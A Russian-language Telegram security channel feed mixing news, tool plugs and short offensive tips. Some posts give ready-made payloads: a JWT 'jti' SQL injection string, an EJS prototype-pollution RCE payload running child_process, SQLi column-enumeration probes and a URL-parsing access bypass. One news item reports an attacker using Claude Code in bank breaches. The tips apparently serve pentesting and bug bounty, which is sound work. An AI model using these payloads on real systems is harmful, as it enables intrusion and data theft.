Вашу рекламу в этом канале увидит до 860 человек
Заказать рекламу →с 20 июля 2026 по 12 октября 2026 · минимум 19 300 · максимум 19 600
Рекламных размещений с маркировкой не найдено.
Основа простого обхода: 1. Для статического файла не требуется проверка прав доступа. 2. Разные слои по-разному определяют, где заканчивается путь. %23 (#) — новый %00 👉 @cybersecinform
Хакер, использовавший ИИ для взломов, сам себя деанонимизировал. Он оставил в открытом доступе сессии Claude Code, в которых просил составить ему резюме и указал свои личные данные. CrowdStrike связывает его со взломами южнокорейских банков Shinhan, KB Kookmin и Hana Bank. После атак утекли персональные данные десятков тысяч человек. Президент Южной Кореи Ли Чжэ Мён лично потребовал найти виновных. Атакующий…
Превратите IDA Pro в рабочую среду для реверс-инжиниринга с ИИ: - Мгновенные объяснения функций и анализ безопасности - Семантический граф знаний по всему бинарнику - Автономный ReAct-агент с настраиваемыми уровнями расширенного рассуждения - Полная интеграция инструментов MCP - Умные подсказки для переименования - Интерактивные вопросы и ответы с вызовом инструментов - RAG по вашей документации - Поддержка LLM от…
SQL-инъекция через JWT Поле jti (идентификатор JWT) хранится в базе данных, чтобы предотвратить повторное использование токена. SQL-запрос, проверяющий этот идентификатор, уязвим к инъекции. "jti": "' OR '1'='1" Попробовать: https://403.brutelogic.net/authz/jwt/jti 👉 @cybersecinform
Удалённое выполнение кода в Node.js через EJS (версии до 6.0.0-alpha). Небезопасное объединение объектов позволяет эксплуатировать уязвимость Prototype Pollution, которая приводит к удалённому выполнению кода при рендеринге шаблонов. {"__proto__":{"client":true,"escapeFunction":"function(){return process.mainModule.require('child_process').spawnSync('id').stdout;};//"}} #node #rce #bypass 👉 @cybersecinform
Новая техника SQLi через конкатенацию: '||Column_name--+ Затем: '||table_name.column_name--+ с использованием точечной нотации. То есть: '||not_valid_column_name--+ → возвращает ошибку '||valid_column_name--+ → успешно '||valid_table.valid_column--+ → успешно Я получил баг-баунти за этот долбаный простой PoC, потому что Akamai и бэкенд ограничивали ввод восемью символами. Мне просто повезло, что название колонки…
👉 @cybersecinform
Лучший бесплатный сайт для изучения DevOps на практике из всех, что я нашёл. Практикуйтесь в Linux, Docker, Kubernetes, Terraform и AWS в интерактивных лабораторных работах с пошаговыми заданиями и автоматической проверкой. https://girus.io 👉 @cybersecinform
Если у вас есть свой сервер, вам пригодится это руководство. В нём 137 практических рекомендаций по защите сервера и приложения: ✓ Аутентификация, сессии и пароли ✓ Docker, GraphQL и GitHub Actions ✓ .NET, Java, PHP, SQL и тд. Официальное руководство OWASP: https://cheatsheetseries.owasp.org 👉 @cybersecinform
Проводи OSINT-расследования на основе графов и наглядно отображай связи между данными с помощью Flowsint — платформы с открытым исходным кодом. https://github.com/reconurge/flowsint 👉 @cybersecinform